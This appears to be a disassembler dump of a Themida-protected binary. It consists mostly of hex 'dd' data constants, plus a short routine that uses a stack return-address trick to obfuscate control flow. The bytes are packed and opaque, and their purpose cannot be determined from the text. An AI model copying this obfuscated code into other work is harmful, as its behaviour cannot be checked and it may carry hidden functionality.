		dd 0ADC0F0C1h, 0A5274CECh, 0BBC94E98h, 0E4CDAD7Ah, 9C15F542h
		dd 941EFE8Ah, 24B46844h, 51EC69B3h, 96C96D5Bh, 0F3C83906h
		dd 0E7E867FEh, 67722555h, 4FCC8DD7h, 1069AFBBh,	5875F480h
		dd 0EC75F3DAh, 1D16EB5Ch, 837BFA86h, 3C7222FBh,	4D1555Ch
		dd 148EF7Fh, 0B8C8902Dh, 8F2E347h, 0C1F20000h, 733C1C69h
		dd 2C8262AFh, 0E5C7A7F4h, 0A80AEA37h, 9F803380h, 0C815139Fh
		dd 105DC9E8h, 54A17D30h, 9BE83C74h, 252AA935h, 0A97225D7h
		dd 822E78D9h, 9980ACE8h, 5EDDF620h, 75F3B971h, 25B545D5h
		dd 0F8DCD4B4h, 67D868B4h, 0C51558B6h, 0F0FA797Bh, 0D19E01A5h
		dd 9715BFF1h, 24A8F585h, 0B7F9EF04h, 2AF8B797h,	1D3C75Dh
		dd 39660000h, 9E1DA930h, 722229CCh, 0D2E52F79h,	0CF0B20A4h
		dd 159D7D02h, 8212A213h, 0E2EB6AF6h, 62722256h,	159405D2h
		dd 7222563Ch, 448CCF2Dh, 0B0293524h, 35716DB7h,	69361796h
		dd 6967222h, 6AE7B9BCh,	18B079Dh, 2EA60000h, 5131A282h
		dd 993B755Fh, 9990A14h,	7D5DE979h, 0EF7FF032h, 0EB00D522h
		dd 32CE37B6h, 0F8888213h, 10E1ED6Ch, 7E5E7222h,	0EF7FF030h
		dd 0A9539D22h, 9F71A061h, 83F50650h, 0F68644ADh, 4E90DA66h
		dd 97B54B95h, 51D0410Eh, 7222EB78h, 0B5FDDD69h,	0BEB80273h
		dd 26AB88h, 1C7A47D7h, 0AE7191D9h, 40FAB028h, 99000000h
		dd 1DA93039h, 2219FC9Eh, 4FC05072h, 2219FBD0h, 7C5CE872h
		dd 0C725F236h, 5B543484h, 7CC656C7h, 0FB9CD5EDh, 53D7A494h
		dd 0B0293933h, 0D9BCh, 25A43000h, 72224228h, 2CB16B41h
		dd 2E6ECF9Ch, 3616A282h, 0A535A676h, 2B8767D8h,	219171FDh
		dd 39069607h, 0CC8E8C8h, 7F0F80A4h, 0E71963EFh,	0A9AFE2CDh
		dd 26067744h, 0CE4D9A8Ah, 75F3D1BEh, 0DA27FDB3h, 0E975EC05h
		dd 200E7C6Ah, 0BCF0D072h, 0F484A010h, 6C4CD864h, 0DF6FE044h
		dd 0AC803212h, 200E202Dh, 311E9D72h, 9572200Eh,	60F08005h
		dd 0A97F3313h, 8EB8A902h, 177BECC8h, 724h, 4E9B8F24h, 94E1416Eh
		dd 0D926FAB4h, 1C69B3F9h, 65B2763Ch, 0E1D14DB2h, 971AFA47h
		dd 4B62428Fh, 0AA686D3h, 0DB67CD1Ah, 25D9735Ch,	0A203D372h
		dd 0D37B3882h, 4973B26Ah, 12169C7Ch, 59CBE5C5h,	60C2EDCDh
		dd 45925FEFh, 31DE6FB9h, 8FF4D69Dh
		dd 0F3BE3F10h, 6FFF8F75h, 822E41A2h, 0B6CC16A2h, 0C52953EAh
		dd 0BC9C0DDAh, 7FE330F4h, 54h, 0D55531Eh, 72F17DE4h, 7225E65Bh
		dd 21AD5BEBh, 0E6391695h, 0FD8D7225h, 0A0E47530h, 0B895148Bh
		dd 0C7225E6h, 0E160EC7Ch, 75F331EBh, 94387454h,	595061Ah
		dd 0A7740475h, 80E49222h, 58h, 889C14F4h, 0C961CD17h, 14736B28h
		dd 1A0EA484h, 0EB4C19A9h, 5677F682h, 0F675F331h, 0AFC49966h
		dd 0ED29A834h, 6172223Eh, 496545D1h, 1A990AD7h,	8DDDD1CEh
		dd 4090D331h, 4D14D60h,	139F3A2Fh, 0CDE7294h, 0F542D28Ah
		dd 715EDD69h, 0D58A0CDEh, 0C2147845h, 0B3000000h, 5677F682h
		dd 0F675F331h, 0AFC49966h, 2029A834h, 0A47225E6h, 0EE7B3614h
		dd 0FCB69622h, 3BF93E72h, 4CDCA163h, 207E4BDBh,	447595DDh
		dd 82FEB024h, 9D000000h, 58593039h, 3DCD5DCEh, 43DDD1B1h
		dd 0E97542D2h, 25E6606Ah, 709AE472h, 0DC795953h, 33EBC2A2h
		dd 763717A3h, 42FDDBA8h, 7D5DE9B1h, 0C725F234h,	0ED1C3C84h
		dd 0CFAFB023h, 0DD7340DEh, 41h,	0E33D7151h, 0B415E272h
		dd 1DA93039h, 25E6B79Eh, 0A9871772h, 37955DEEh,	0C58CACF4h
		dd 931FB023h, 25EE3B14h, 1BFB8B72h, 8A1A8B91h, 1B27BDh
		dd 0BB9B0000h, 2DBD2EF4h, 0FFA788E3h, 0D9A6418Dh, 2A6F8F78h
		dd 70D475F3h, 0FFFFFEFCh, 0AD30390Fh, 0F331212Eh, 9A19A575h
		dd 75F331B5h, 6DF98919h, 0F331E1EEh, 45D56575h,	0E7C53AB9h
		dd 0F9897225h, 69BEB388h, 9627CE7h, 6922292h, 0D159A7Ah
		dd 0C03F0C9Ch, 75F38288h, 9420AC3Ch, 0F3823815h, 1CFC8C75h
		dd 4EBF8C90h, 5DE97079h, 25542DDEh, 8511A172h, 8D9719F9h
		dd 0AE723C1Ch, 501DAD3Dh, 96E33F70h, 0A531A8C1h, 0F3832526h
		dd 8D19A975h, 921E00ADh, 83468706h, 760675F3h, 86D05CA9h
		dd 7C33DCB0h, 0C2255CA6h, 8C9211DEh, 0E5EDD5E1h, 2C0C59CBh
		dd 5A2FA084h, 0BF3ECA51h, 0EA04F093h, 5232A333h, 7555C65Eh
		dd 0A908E83Ah, 35930C7Dh, 0E5439EF2h, 72B2FEA2h, 0B6684525h
		dd 0F24EE02Ah, 0ECFB532Bh, 0E1CEAE1Fh, 0A789C645h, 5D3DEA04h
		dd 0CD5DCE50h, 5C3CAD3Dh, 7F5FD054h, 0B082F331h, 42BB0F52h
		dd 0B0FDA1E4h, 4B95216Eh, 0FED1E132h, 86663305h, 0CB86F727h
		dd 61C7E93Ch, 499EDE2h,	41D161EAh, 69C1F0D0h, 499E5EAh
		dd 49D969EAh, 86C927D8h, 2366C432h, 0A3F02E7Fh,	0A8333942h
		dd 0CB595737h, 6CF8845Ah, 0F331E0EDh, 7D46475h,	0A7CD66A9h
		dd 0A10FEF3Ch, 0CF19A583h, 2D84851Bh, 8197AFF9h, 0F8884310h
		dd 0FBB1911Dh, 5320B021h, 0A20EB2F5h, 0C7A77F32h, 0FCAA3AE8h
		dd 4209070h, 73B90393h,	904D6E32h, 664929F6h, 83CC4BBCh
		dd 6D75F36Ch, 9C7CCC0Fh, 63431014h, 0A989D64Ch,	2AA91A04h
		dd 75F36C20h, 88D81B79h, 6C507DFCh, 64F475F3h, 0D8F6B797h
		dd 6BB848D4h, 0F34CAEECh, 6E8F1375h, 1B7FA1Fh, 20918B21h
		dd 0D67D4690h, 0EFDE507Ch, 0FF638C22h, 2E2BFFFFh, 0C955A282h
		dd 2519BC7Fh, 9A2A9B8Dh, 965B5D50h, 5DC7E9C9h, 59119F7Fh
		dd 0ECD08251h, 0B5932373h, 35396F4h, 0C8958B23h, 0AE5CC8E8h
		dd 0F9A20A2Ah, 3F93B7h,	27070000h, 6CCD9A88h, 1DA93039h
		dd 25E6B69Eh, 0A8861672h, 9F2B5FEDh, 0BF30EEBFh, 0E69BB433h
		dd 9B2B7225h, 9DE03E0Bh, 0E874EF04h, 0F3316369h, 0A553E375h
		dd 0AC763919h, 7ADEAB3Bh, 50h, 0A9303919h, 0E6B69E1Dh
		dd 830F7225h, 25E6CB04h, 1EEB7B72h, 702B0999h, 0AEF884E5h
		dd 88303559h, 931FFFD8h, 0C7942495h, 648D2669h,	0DAF271FDh
		dd 6A75F31Bh, 3AC248Ah,	8E1EAE1Fh, 82018D1Dh, 75F31B4Dh
		dd 55E17101h, 75E63875h, 96A18E5h, 5677F682h, 0F675F331h
		dd 0F7B99966h, 0D4DCBC2Dh, 52E0350h, 0FA86129Eh, 31DEEF6Eh
		dd 0DE6E75F3h, 0F3316E5Fh, 519E1975h, 0C9017089h, 68E7B444h
		dd 72229966h, 66E556E6h, 7222996Dh, 9F12F27Eh, 7A361687h
		dd 773A1AAAh, 0E1AE3EAFh, 0D8F84083h, 61B028F4h, 29h, 16758BD5h
		dd 8E79D514h, 303960C1h, 0FC9E1DA9h, 50722219h,	0FBD04FC0h
		dd 0E8722219h, 0DFFF478Ah, 68B02978h, 0CCh, 52822E07h
		dd 0C656C75Fh, 5939C536h, 1EFECB55h, 43239494h,	6646B76Dh
		dd 44EDA4Ah, 0C0D9959Ch, 6EED7937h, 75F3E761h, 3B8855E5h
		dd 0F3E35CBCh, 91B9575h, 50D4DCBCh, 7AE10ADFh, 0C34B6FEEh
		dd 6BFB7222h, 0B920491Eh, 21B2AE2Dh, 821275F1h,	61206AF6h
		dd 3BE3CA05h, 4745D2F1h, 10189A7Ah, 59CFE3C3h, 5FCF8FB2h
		dd 2D9102D0h, 1E8h, 125FCBE8h, 58A57D32h, 9DEA3678h, 0E02DEFBDh
		dd 2976B200h, 1D958976h, 0D3DEBE0Bh, 87260653h,	466A4A97h
		dd 9F2B91DEh, 25DC2F20h, 6ECF9F72h, 18A4842Eh, 17B972CEh
		dd 0D5D8B16Fh, 0B848D849h, 0F2BE9EEBh, 8BE6DE78h, 0A49518EEh
		dd 0E819A382h, 3D8A1AAAh, 46E0D1B1h, 177845D5h,	1DA93039h
		dd 3CB33DD3h, 0A875B1CEh, 0D5FD9D1Ch, 0C1517222h, 0F280EB35h
		dd 0AE8A15C7h, 0D8F170E1h, 9722215h, 2068ABh, 89B0297Ch
		dd 0B1h, 0A6822E28h, 0F3312627h, 8616A675h, 0AB7D3515h
		dd 355DBB3Ah, 1A9675F3h, 0D3DDBD0Ah, 677B101h, 0A075E676h
		dd 0F884108Bh, 198A9618h, 3EAF7939h, 13921EAEh,	75F3353Ah
		dd 0AE2DFA8Ah, 722215B4h, 1CFC8818h, 72BF8C90h,	810D949Dh
		dd 0F1CB7102h, 0C342CE75h, 75F1CB8Ah, 58DDAA3Ah, 565C3CC8h
		dd 0DA585D2h, 0FD4F741Bh, 0D94AD05Eh, 0EB75h, 62C8EB00h
		dd 0A87A3515h, 0ED337B5Bh, 30ECC0A0h, 79AF03E3h, 9884792Ch
		dd 0E1C10E1Ah, 290956D0h, 6D4D9A84h, 2E94E143h,	0DF2A23A2h
		dd 0CA9A7225h, 0A4842E69h, 0EB397757h, 7E32129Eh, 0D8A535A6h
		dd 0A2822E77h, 0EBC5A531h, 0EB5CC6E9h, 6F81CB5Bh, 0E56A0A46h
		dd 8C2404D1h, 0DFBF4B98h, 0A88855D3h, 0ACA12008h, 2075F3B8h
		dd 0D3B30090h, 456B4BDDh, 5FDE6EDFh, 75F3B86Eh,	87F82E83h
		dd 1B9272F7h, 72029203h, 96071F92h, 86057606h, 1D93D797h
		dd 0E152D6DCh, 9474AE01h, 408D0C1Ch, 41D93D7h, 9D73E474h
		dd 0D2A8FC3Fh, 238D3174h, 0DCD4B401h, 0B5F7D748h, 9616F667h
		dd 51CB1586h, 0E002380Dh, 95D9D9B9h, 145E456Bh,	2E9F2F2Dh
		dd 0DE3275D3h, 3EE22583h, 0D965B272h, 63AA648Fh, 0DBA85C97h
		dd 0FE6FB5FBh, 39Ah, 5FC03900h,	34A5852Eh, 57C85C54h, 77E83677h
		dd 9B0C1A97h, 0C031F7BBh, 0E556D2E0h, 475A705h,	25968A24h
		dd 47B86A45h, 0E08950ABh, 405h,	4E88300h, 8B240487h, 89532424h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 240C895Ch, 63D068h
		dd 24348900h, 0D8F6BB53h, 0D98907D6h, 81241C8Bh, 4C4h
		dd 348B5400h, 4C48324h,	8904EC83h, 0CB89241Ch, 5B085E89h
		dd 5E2434FFh, 4C481h, 34FF0000h, 0C4835924h, 6935E904h
		dd 0B2CEFFFBh, 22FA600Bh, 0B88C5A97h, 7D6EF53h,	0E0FFC503h
		dd 504E148Eh, 4C496744h, 71D752h, 370D709Fh, 5C7D2F99h
		dd 12403652h, 74CE2DC2h, 23B8FEC1h, 386F825Eh, 7F8C3EADh
		dd 75232303h, 5893A4C6h, 0F0DC8D8Dh, 0BF0F07D6h, 0C880FC6h
		dd 0F000000h, 684h, 61858B00h, 8907D102h, 0D11B518Dh, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 467A2562h, 5585C7F5h, 3007D12Dh, 0F000062h, 85C7FBB7h
		dd 7D11D39h, 0
; ---------------------------------------------------------------------------
		and	eax, [ebp+7D118F1h]
		push	dword ptr [ebp+7D11081h]
		push	0
		push	ecx
		call	sub_5E56AB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E56AB	proc near		; CODE XREF: Themida_:005E56A3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5E56AB	endp

; ---------------------------------------------------------------------------
		db 44h
		dd 0D321EA5h, 0F08C831h, 386h, 0DBB70F00h, 11E9h, 0BF98C000h
		dd 53D65D30h, 0AFF509C0h, 9A2D518Ch, 9D890402h,	7D12155h
		dd 180195FFh, 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 755817C3h, 155EB967h, 6AF50E28h
		dd 5595FF00h, 8B07D100h, 0D95AEBC0h, 416E03D5h,	3A93E901h
		dd 9EED73CDh, 59960B18h, 434644F2h, 0D66AB7EEh,	48F64F42h
		dd 0B6D77F84h, 0E7B40E39h, 13A5F3CFh, 81E405E0h, 0AF3477C0h
		dd 0DBF69095h, 45B5D754h, 1B7E334Fh, 0C9453786h, 0CC8CBC8Ah
		dd 8C488EA7h, 1AB9EB98h, 6A794347h, 0C8173718h,	2E4639BEh
		dd 23E956h, 937C0000h, 193Bh, 7	dup(0)
		dd 5AEE900h, 0C5B90000h, 0E7A18E1Bh, 0F68F7C09h, 1F7E6BF8h
		dd 2B6754E1h, 188540CDh, 6DFAF694h, 5AE70580h, 45D22C6Dh
		dd 2FBC3858h, 89E4A18Dh, 3B19FFA5h, 63217553h, 3195532Fh
		dd 0C75B8E43h, 0E57C32h, 8D797713h, 7A09E7A0h, 648000EDh
		dd 0F6F2927Fh, 8C602411h, 19D7B3A0h, 8E39A58Ah,	0CE8A89Fh
		dd 0F7F1927Fh, 0E21C7D6Ah, 777510FDh, 0CF3EE992h, 30BD3B58h
		dd 0C2A74543h, 80ABE9D6h, 2449E171h, 0D766FD14h, 28F0501Ah
		dd 25897512h, 0C7DA0BFAh, 8F6126DDh, 0ED7C13AAh, 705DD342h
		dd 5AF1D612h, 295B54CBh, 9A8239CEh, 0A4000000h,	502F6321h
		dd 7F16AD92h, 0B48EDD9Ah, 0AAEE1228h, 6847156h,	629CFDEAh
		dd 0F4F0907Dh, 4D2EDD88h, 190FFEA9h, 7F22A7B5h,	0DE6D9F28h
		dd 0CE2C4867h, 19539h, 22B70000h, 0B30F83BEh, 35C498DFh
		dd 0CBB04C48h, 6146BADEh, 0A1CC8975h, 0DC1229ACh, 29AD4E1Fh
		dd 3ADF7612h, 0ACDC914Eh, 51E81229h, 779E56BAh,	3B6544F8h
		dd 22C0BFACh, 0B632503Dh, 4BA1E4D1h, 0C02FDA66h, 5B47339Fh
		dd 295FCF9Eh, 0CF5EF512h, 5A3EF524h, 6C2C19A6h,	2B170390h
		dd 295FFF6Eh, 9F2EC512h, 573522C1h, 25AD0CCh, 0EC83C718h
		dd 0F4E17007h, 88755A96h, 1E0BF00Ch, 0B3A0857Bh, 0E93217D5h
		dd 3F58CF3Eh, 0B29E2AC1h, 0AFEFA74Eh, 0AA39DB54h, 791910FFh
		dd 0A4906E29h, 28ED86E7h, 10A73E12h, 9E5C3724h,	69322B9h
		dd 987D7B19h, 2F14EAABh, 8203F29Dh, 39CD6D3Dh, 0A9C0h
		dd 6121E200h, 0F2AF9B87h, 1228B47Bh, 3220E549h,	0A662F9A4h
		dd 0AE9B800Fh, 0C63217E9h, 5535EC1Bh, 0C7AC4245h, 1F0C9930h
		dd 93512F63h, 948017AEh, 20DEBBA8h, 293D0A63h, 9423BA12h
		dd 0B1D6C3AFh, 2F6D5A3Fh, 0BE55ECD1h, 0D843422Fh, 8D3F1957h
		dd 0FFB92D0h, 0F6856322h, 25D47F11h, 0CD785B64h, 76A239h
		dd 21C40000h, 0AE9B8761h, 0BAB317E9h, 8659AD9h,	0BEAA8F1Eh
		dd 16BFB85Ah, 0EE7D2BD6h, 75108001h, 9F2E9277h,	0A34F77C2h
		dd 21069D34h, 4300ECD8h, 12297F2Ah, 7ED79653h, 56ED1229h
		dd 0E08B1AB1h, 6098FA31h, 6721F5D3h, 83E7A489h,	421228B4h
		dd 0CD2B6956h, 2E3FFCE8h, 961228B5h, 2ED968FFh,	35F1BEFFh
		dd 6FD339CDh, 0CD1375BBh, 4857265h, 1885BEAh, 0AA000000h
		dd 9E8A6421h, 92F4A43Ah, 0AD3C5997h, 3FBDDBC8h,	0C3AA6753h
		dd 1122928h, 4DF6DB6Ah,	0DBBC73A2h, 4A36B4CFh, 2928E08Dh
		dd 0B64DE412h, 0AEF9B29h, 8946321Eh, 122928E4h,	2891DC99h
		dd 9C331229h, 14D160F7h, 19FA3E9Ah, 95523E2Ah, 19FA3ED8h
		dd 0D59855ECh, 0EF19FA3Eh, 0EFDCC158h, 3675391h, 30F782DFh
		dd 49D6650Ah, 0F7F33C5Ch, 0E38A47CCh, 0E119F9D6h, 0E322E64Ah
		dd 0A5C88571h, 1F19FAADh, 4F0CF188h, 19FAAE1Ch,	73AA5904h
		dd 5D4AD715h, 30F3F43Fh, 8CDF8E4Bh, 4EE519FAh, 77ED2CEAh
		dd 8E0EFBE0h, 56018D72h, 0D41070A7h, 58DFD047h,	0F8E5419Eh
		dd 0FBCE5D9Bh, 137h, 0EF12801Dh, 7D731603h, 13F8F490h
		dd 4401ED7Ch, 19F9C8AAh, 906E2D1Ah, 58087E2Ch, 861D8D66h
		dd 18D4B4A1h, 87E5C82Ch, 58750BEDh, 314F3CC9h, 0E1C6385Dh
		dd 0C13F5D4Ah, 3858452Ah, 0EACF2166h, 4BD7BC53h, 0CEBB71A0h
		dd 4E1FDCCFh, 7619FA50h, 3F5B48DFh, 0B645DCC1h,	0A02DCBC9h
		dd 9ED18629h, 425741h, 80790000h, 96EC2115h, 0E0E7BBE8h
		dd 765B91F3h, 9F5C48DFh, 9228C1AEh, 6D2A16h, 59228C2h
		dd 7846C40h, 50E78CB3h,	5617D4B9h, 3D922986h, 980B6392h
		dd 7DD08D79h, 47122985h, 90AB23B0h, 0CD000000h,	3EF1280h
		dd 90682A17h, 0E7364401h, 5A4719F9h, 8C31C038h,	652310F5h
		dd 0AA965031h, 0F9E680EDh, 16AD4419h, 0FC9C89h,	0E80A5E1Bh
		dd 6B1619F9h, 0E90785BCh, 747010FDh, 0D8CA58E5h, 0B2E94D39h
		dd 4FA61AE8h, 25E2CE5Dh, 21D14C84h, 1D500DF9h, 0A721D14Dh
		dd 86642310h, 0D67B0AA1h, 2F6D5A3Fh, 9843ECD1h,	80611169h
		dd 0CEAA794h, 0D5D4917Dh, 0A829A83Dh, 1C993A44h, 31C0C503h
		dd 8AE3A08Ch, 3A29A7F0h, 3FD13FA3h, 477412E9h, 804523B0h
		dd 1603EF12h, 0FEEA7977h, 0FFA66841h, 0E0C55C19h, 0CA5795F3h
		dd 5C41BFDDh, 0E7058370h, 1FDC6B02h, 38ED0B69h,	0DEBBA894h
		dd 15A43B20h, 484BB6Ah,	2E6E5BE8h, 8100EDD2h, 0E9D57E63h
		dd 7E6399FCh, 7EAD58E7h, 3F2BC9C7h, 22633752h, 0B950E7CCh
		dd 21AE3DD4h, 0AC985434h, 4328C6BFh, 6A03C0ACh,	5A38ED0Bh
		dd 634F34C3h, 0BB3BA77h, 7A1138EDh, 0D73EBh, 9A870000h
		dd 937100F8h, 9C523522h, 21E3C10Dh, 0B19E837Dh,	433015D3h
		dd 0D6C3A846h, 6B583DB3h, 0FFECD12Fh, 93806583h, 2411F6F4h
		dd 0BBA88D63h, 6F3E23D9h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h
		dd 56240C89h, 0C681E689h, 4, 4EE81h, 34870000h,	4895C24h
		dd 61116824h, 0C890000h, 0BD555624h, 3F0358CDh,	7A63ED81h
		dd 0F58130B5h, 99B2F02h, 895DEE89h, 8B545EF0h, 0C481240Ch
		dd 4, 4EC81h, 4890000h,	8418F24h, 50240C8Bh, 405E089h
		dd 83000000h, 48704C0h,	48B5C24h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FA8777E9h, 8B0C73FFh,	46E524FBh, 3FBFADC2h
		dd 0D6F67EB8h, 0FFC50307h, 8668B5E0h, 0DFD4EC2Ch, 0F76F121Ch
		dd 73A08F77h, 3CD95F42h, 3D31C76Bh, 0BF123C41h,	0DA85E866h
		dd 0BEA85949h, 0DC68CC1Dh, 0F2DFC265h, 25D4EB65h, 43213B3Fh
		dd 0B8040E4Bh, 3A05A63Dh, 8CF39820h, 4AB4B528h,	3BE920h
		dd 3B210000h, 7F26h, 1C570000h,	48434AC5h, 0ADF93661h
		dd 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 0C7009D89h
		dd 63921DF4h, 0DE1960h,	3 dup(0)
		dd 0AFCE900h, 0F4680000h, 0E907D6F8h, 0FFFA86D0h, 0D6FA4468h
		dd 86C6E907h, 2E68FFFAh, 0E907D6FBh, 0FFFA86BCh, 0D6FBF068h
		dd 86B2E907h, 0B168FFFAh, 0E907D6FCh, 0FFFA86A8h, 0D6FDA568h
		dd 869EE907h, 5568FFFAh, 0E907D6FEh, 0FFFA8694h, 0D7003368h
		dd 868AE907h, 3068FFFAh, 0E907D701h, 0FFFA8680h, 0F4817F1Fh
		dd 0E26F8D07h, 0D15E90F5h, 0BA47A5E4h, 0A633CDCDh, 98FAB2EBh
		dd 0A3E6D360h, 0B6D3C04Dh, 0DEBEAB38h, 7F39522h, 0FFAD234Ah
		dd 0DBB9A119h, 3EF1280h, 1A19B317h, 26007D39h, 231CDA97h
		dd 75611A00h, 22B5B8h, 0E9780F1Ah, 0D4C1AD44h, 0BFAB38B4h
		dd 0FD19955Bh, 3EFB7853h, 1A00492Fh, 7A67FE95h,	66FDE21Eh
		dd 0F8AAEAD7h, 8B785D9Bh, 770EF309h, 0D66449E0h, 9C5945A4h
		dd 21D7403Dh, 1704F087h, 5B392679h, 3F8DE09Dh, 0A03721D7h
		dd 0CEB91D09h, 5407E630h, 4330BD4Ch, 0D8955245h, 0EC21D72Eh
		dd 4BD9BE55h, 0E1CEBA5Fh, 0CC6348A6h, 6A94513Dh, 1329A858h
		dd 2C52AAFh, 0EE4D5E71h, 0C04FB371h, 1A5310BFh,	0AA29A88Bh
		dd 48ED7C13h, 8ACE9F5Ch, 0EFAE29A8h, 0F0952C11h, 8B264704h
		dd 79E29A8h, 6325D970h,	81E6644Ah, 917249Ch, 712D0000h
		dd 7315028Fh, 8203F07Dh, 93F2DF6Ch, 0BFDBC855h,	0A4F9B441h
		dd 0E9767210h, 0D66399FCh, 0C14EA8E9h, 0AB38B4D4h, 0D601D09h
		dd 0B719FFADh, 3622F1CFh, 28B4F479h, 0AA39D012h, 3C21DFBDh
		dd 26B3314Fh, 1B07EA98h, 0F9E9105Eh, 381DB419h,	0F9E8EE7Bh
		dd 0CF3EE919h, 9E65E1CEh, 6FFC41h, 801E0000h, 1603EF12h
		dd 39A7F71h, 389C8874h,	461BA933h, 0AF6CFBDDh, 19FAD103h
		dd 0F10F8D7Ah, 5C11750Ch, 66603821h, 4CE38817h,	0F8E7B67h
		dd 0C4A562F1h, 0B819FB51h, 4F3B20DCh, 0FB51DB92h, 6552E919h
		dd 0B7B67326h, 0D19FB51h, 6EFADF76h, 0A13354C3h, 298607F6h
		dd 9B419FD3h, 319B1937h, 7FE33B3Eh, 5F986120h, 0A27504D2h
		dd 0BBh, 96BE22C4h, 0B983C086h,	0FB5306BBh, 3C658797h
		dd 24C0C0ADh, 0B830523Fh, 4AA6E6D3h, 0DC187865h, 54D4924Fh
		dd 0E8A81229h, 0F2927F0Ch, 178311F6h, 0F54906F2h, 0CF19FA68h
		dd 0D2BFAB38h, 0BD5439B7h, 0FF2A02Eh, 4AB36623h, 7A1121CEh
		dd 8E6A18Eh, 0B5A18D79h, 0CE4A75F8h, 21624F21h,	0B44BE2C7h
		dd 9E5A3825h, 0B1AF4EB2h, 9F847C1Eh, 0F15A408h,	0B19E2BBAh
		dd 3F6317D1h, 0A9FEBE59h, 7C74CC4h, 0A1DD0000h,	0C3C5B23Fh
		dd 0D2B3A02Dh, 0E3A28F1Ch, 0F8B7805h, 0F4A964F1h, 9926C2C0h
		dd 8613E9ACh, 71FEF899h, 5BE80484h, 5D10CDB9h, 6719FFAFh
		dd 6121A17Fh, 8F0DFA87h, 8006E471h, 4603EF12h, 19F9DD6Ch
		dd 0F0DCC158h, 0C76BA004h, 446B1F63h, 0FA3EE687h, 0B847DE19h
		dd 0FA3E6EFBh, 718F0E19h, 7E59F8Ch, 72A14C22h, 25D47F11h
		dd 9EC04B64h, 0C79241h,	0B9A60000h, 0A63D22DCh,	3270FDBAh
		dd 0BD5419FAh, 3622502Eh, 0C9AE4849h, 0B4F87532h, 35CC1228h
		dd 1DDBB9A6h, 0B14F4B38h, 0B9570FCCh, 67251228h, 0B8F67734h
		dd 0E1CE1228h, 18AF46A0h, 2FE9E8Bh, 0FEE38F1Dh,	5B392612h
		dd 0ED510E9Dh, 0D719F9CCh, 0DAC7B340h, 0C35A3FB9h, 15F4A634h
		dd 0AB9C6C29h, 912821CDh, 1EDAB8A5h, 0AE6A491h,	0BF6B2656h
		dd 61D9BEFEh, 6DDh, 0C8558BF3h,	0B643B9DBh, 0A532CCC9h
		dd 8E1BD9B8h, 7A07E1A1h, 0B4D6DEBFh, 0C7C2AF3Ch, 0D2AF9C29h
		dd 0FA9A8714h, 0E3CF71FEh, 0FFB04726h, 0B7957D19h, 0FA876121h
		dd 8A64210Eh, 1C8E0EFBh, 59C817Fh, 721E826Eh, 1DB5647Ah
		dd 52ACEDDAh, 0BA47D66Dh, 856321DCh, 13E9AC99h,	2308972Eh
		dd 0D9A5636h, 0E7A6BD21h, 909D138Eh, 2C254401h,	0C4B61229h
		dd 484C3925h, 0A938CFB4h, 3F6DD1BDh, 0F7978Dh, 8C601DACh
		dd 3819FFD2h, 0CEB3494Bh, 0D34825E2h, 0E57C19FFh, 0DECBB74Eh
		dd 0C9B542BEh, 0D10EF565h, 806D9DC4h, 6B58E705h, 5CEACF2Dh
		dd 22DFCB2Eh, 21D0FD88h, 0B5F1A53Ch, 0E7FEB3D5h, 61B8A02h
		dd 4D310000h, 7F190693h, 8E07F481h, 97F6E370h, 0A3DFCC59h
		dd 0A0FDB845h, 0E5728E0Ch, 0D25F9DF8h, 0BD4AA4E5h, 0A734B0D0h
		dd 115C1905h, 0B319FFB0h, 6321EDCBh, 0FE95532Fh, 906C2C19h
		dd 72FBB8A4h, 521228B4h, 0BB472CBBh, 6A2AE110h,	258A018Eh
		dd 0B839CD36h, 7, 19996DAh, 51B80000h, 1228B518h, 4632D7C3h
		dd 0FFAC5889h, 0E9D56C19h, 0A70B9CFCh, 0ED4F1247h, 98D592A0h
		dd 6D19FF0Eh, 0AC4A5D4Ah, 3BD277F2h, 6A2A17A4h,	0AF9C5838h
		dd 9B3217D5h, 32B41804h, 9ECF8C5Dh, 2619FF27h, 5C4B2B8Fh
		dd 916F2B18h, 0A18615ACh, 96826713h, 0D081D1D9h, 0A85CF321h
		dd 0FEBC51D4h, 5AAF270Ch, 70000005h, 5845D20Eh,	4633C03Ch
		dd 3522AF41h, 1E0B9856h, 3CF7847Ch, 0B14F4B61h,	9E5C3724h
		dd 89672411h, 73710FFCh, 9B5844E6h, 19FFB0D2h, 212C0AF2h
		dd 0AC998563h, 9E8312EEh, 0C2BFD3B1h, 1CA88D24h, 0D8B8271h
		dd 2A1703EFh, 14AB9068h, 28B51657h, 0D5AAEF12h,	93A30802h
		dd 3BC857EEh, 0CD7DEBC4h, 0ADECD939h, 7EDC04Fh,	0F000000h
		dd 0C296h, 1280B800h, 0B490DD9Ah, 9D341228h, 995D1A06h
		dd 2B19FFACh, 0DDBBA894h, 8A47331Fh, 19FFACE3h,	3BE64AE1h
		dd 0A73C9BBCh, 0D8C552E1h, 0C9573CB8h, 8F4C38D9h, 21D6094Ah
		dd 0F40A8D7Ah, 9224B08h, 0BA221D6h, 0FD9B8874h,	998672FFh
		dd 7012FFF9h, 9CFCE978h, 0BDED7B60h, 84698706h,	7E6A56EDh
		dd 8DFDA11Ah, 0F1DDFFC4h, 0D5CA3934h, 65F48B21h, 0A6F356A8h
		dd 23D76E29h, 0E665A257h, 6634AC91h, 7C000004h,	6451DE02h
		dd 523FCC20h, 412EBB35h, 2A17A442h, 48039068h, 0C5235F55h
		dd 0B2484B38h, 9D5B3825h, 87652310h, 0AF6C58FAh, 19FFB1BEh
		dd 96401E06h, 142h, 6C01BEAAh, 581228B4h, 805432C1h, 22BA2212h
		dd 0D1C42294h, 65914E3Ah, 5F19FFF8h, 44DB1572h,	0CF2D6B58h
		dd 0B9375542h, 4924E1CDh, 7B19FFF9h, 0E27055E4h, 2E3FFCB0h
		dd 9619FFF9h, 0BF7C68FFh, 21D6F01Ah, 3B2713AAh,	0CDB24E4Eh
		dd 6BF56369h, 59F013B3h, 86622EF5h, 1908303h, 0EB787414h
		dd 7D629EFEh, 725E83EFh, 0A88749B5h, 30E47B29h,	0E6644E18h
